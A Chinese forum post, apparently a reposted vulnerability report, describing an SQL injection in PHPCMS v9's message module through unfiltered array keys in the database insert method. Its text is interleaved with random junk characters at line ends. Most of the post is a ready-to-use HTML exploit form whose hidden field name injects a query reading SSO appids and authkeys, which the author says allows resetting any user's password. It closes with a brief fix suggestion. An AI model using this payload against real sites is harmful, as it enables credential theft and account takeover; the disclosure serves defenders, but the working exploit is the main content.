|
简要描述:
, q- w$ B; ~+ V) y% n4 U, G3 b6 G% r
第二发如约来到,感谢大家的关注,在第二发中使用了一个无限制的SQL注射,最终目的可以修改任意用户密码,建议确认安全危害等级为高。( _# w) i! B7 \6 ]0 Q# Z8 V- T
8 b6 ~% v" L( Y K1 J& f5 ]2 n. {& y
明天再更新下一个漏洞。& t! W# y* ^- `2 v# z/ L' r; {
详细说明:
" B) ], J' t8 [% p! h在/phpcms9/phpcms/modules/message/index.php中有代码如下:' u4 Y' Q+ W. B2 ^; r+ {
' @; K! l; [' P' ?/ @2 _$ ?
$messageid = $this->message_db->insert($_POST['info'],true);$ D/ y$ y4 b# J" O6 X \1 O
7 i- d. p' k# w3 Z
2 y: J1 i; g& o2 iinsert方法是key value的,代码如下:
7 h C, Z; j& G1 J9 J, u& {4 ?) P! A0 B4 X" y/ O) n& P& Y4 x6 w
public function insert($data, $table, $return_insert_id = false, $replace = false) {
* q9 h" U5 S! X if(!is_array( $data ) || $table == '' || count($data) == 0) {
- @% Z% y' w" _" R return false;
- B& E/ S) H! k& r! x4 v2 n1 u }! X9 F4 p c/ F( O
! ~7 V7 h7 U% ^ O8 `
$fielddata = array_keys($data);+ J; m+ A. l$ ]
$valuedata = array_values($data);
/ S, }# M; @7 M2 e! t array_walk($fielddata, array($this, 'add_special_char'));
# x2 I: i: \- Y; M array_walk($valuedata, array($this, 'escape_string'));
9 ~/ Q& M. |+ \, U& {% S
+ F) D5 q) k5 K/ M" [ $field = implode (',', $fielddata);
% e J6 }$ _* h5 s \2 J, [! d' f $value = implode (',', $valuedata);! W1 a2 b3 a2 F- C! W. O1 D( F: L
# r* k8 A$ l* W; q( z6 M: O" e $cmd = $replace ? 'REPLACE INTO' : 'INSERT INTO';
9 h8 W+ i8 N( m7 y& V/ { $sql = $cmd.' `'.$this->config['database'].'`.`'.$table.'`('.$field.') VALUES ('.$value.')';9 P- K U( g( j/ X% r+ y4 H$ D- r
$return = $this->execute($sql);8 A. ]8 n* K* v3 c! H+ O5 D
return $return_insert_id ? $this->insert_id() : $return;. J; C& A. T5 q0 a# u; j# v
}' s o% D o2 Q" T' I. V; h
& W/ c" L3 E9 n5 O: g
, C2 @- F! s5 \; v嗯,很遗憾的是5 Z- K5 h z4 p# [$ ^) O
+ D! j3 a0 [. d7 m' O
array_walk($fielddata, array($this, 'add_special_char'));& A; ` s) y- _0 b# b' `# n, d0 j
7 \4 G! m( T9 [( ?2 O3 p% K
8 e& ^: x8 ]# y; f7 f- F& v- w中并没有对key做任何的过滤,所以,第一段提到的代码导致了一个SQL注射漏洞 :(。4 T& a3 a4 a. o$ h
0 U' u; f: G$ S1 t, \
到此,为了poc一下,我读取了我本地的authkey,接下来我已经可以重置任意用户密码了,后面的事情我就没有演示了。
# f7 i# u( s% _0 M4 F
+ _9 I* J- A" B0 U4 }0 [0 b" [漏洞证明:
/ S7 |' v' {! b: l+ E读出了phpsso_server的appid和authkey,然后可以调用client.class.php中的ps_member_edit函数修改任意用户密码。8 I8 _8 q8 ~# g/ D! K
6 a# I. w/ i) R" ~- s4 U" {& {* U' M- E
表单如下:用户名什么的得自己改一改。
+ O/ @! J, O6 n+ [8 `( U<form name="myform" action="http://localhost/phpcms9/index.php?m=message&c=index&a=reply" method="post" id="myform">, Q) E: K- L7 n7 x- h6 U
<table width="100%" cellspacing="0" class="table_form">" \1 r: Q+ z5 D
<tr>
2 z& P3 ^# e9 n# i$ }' ~<th>标 题:</th>
" k* L- f T; `. `( t) P<td><input name="info[subject]" type="text" id="subject" size="30" value="Re: hh" class="input-text"/></td>" O' P1 X; s/ J3 O
</tr>
8 n( ]9 h. K; @2 B2 P, d<tr>
7 @4 [1 X l2 U+ H9 Y; E<th>内 容:</th>
) U' Z2 y1 O" Q<td><textarea name="info[content]" id="con" rows="5" cols="50"></textarea></td>
; s( }& G% H) D* m4 b</tr>" T2 S. V& `5 y
<input type="hidden" name="info[replyid]" value="2" /> 7 `. D- L% y1 c/ r& Q
<input type="hidden" name="info[send_to_id]" value="cc" /> * Z8 C/ I5 }- \6 Z5 D5 L
<input type="hidden" name="info[send_from_id]" value="hh">2 B: G* C0 x! L; _: f ^4 U( L1 q
<!-- 漏洞的利用重点在这里开始 -->
3 i& u7 Q c, @# m<input type="hidden" name="info[`status`) values ((Select group_concat(appid,CHAR(42),authkey) from v9_sso_applications),1,1,1,CHAR(104, 104),1)#]" value="cc" />
9 p4 @1 C% t& W<!-- 漏洞的利用重点在这里结束 -->4 [. `! w' w1 A& u4 W3 ]' k9 B4 W
<tr>
+ ]2 E4 |) J& q6 X<th>验证码:</th>/ I8 T& s8 C) v8 V; l
<td><input name="code" type="text" id="code" size="10" class="input-text"/> <img id='code_img' onclick='this.src=this.src+"&"+Math.random()' src='http://localhost/phpcms9/api.php?op=checkcode&code_len=4&font_size=14&width=110&height=30&font_color=&background='></td>3 Z0 j9 ^3 ?5 e) Y$ E' z7 ?3 z
</tr>
2 `' X, |" F+ f, e/ P4 J1 H<tr>
% _% ]) I' F5 q& g6 D( P5 h$ E/ C<td></td>
4 x2 T) h( S; F0 Z<td colspan="2"><label>
/ f5 k6 s/ Q& ^& P! I<input type="submit" name="dosubmit" id="dosubmit" value="确 定" class="button"/>
& P/ R t X L& Y5 E( J4 P' ?</label></td>/ y1 p2 v3 }3 r
</tr>7 i/ E M& I5 b4 J
</table>: D5 c! P, w1 r3 A# Q
</form>, n9 k3 A5 \6 \) f
在add_special_char函数内对key做过滤就可以了。
6 `: l; x6 x# @& [5 B0 Q2 j. _' n0 |5 M* S! N
. @+ }9 o3 q2 V3 u1 y- L5 R- ?+ m9 {) i7 d
|
本帖子中包含更多资源
您需要 登录 才可以下载或查看,没有帐号?立即注册
x
|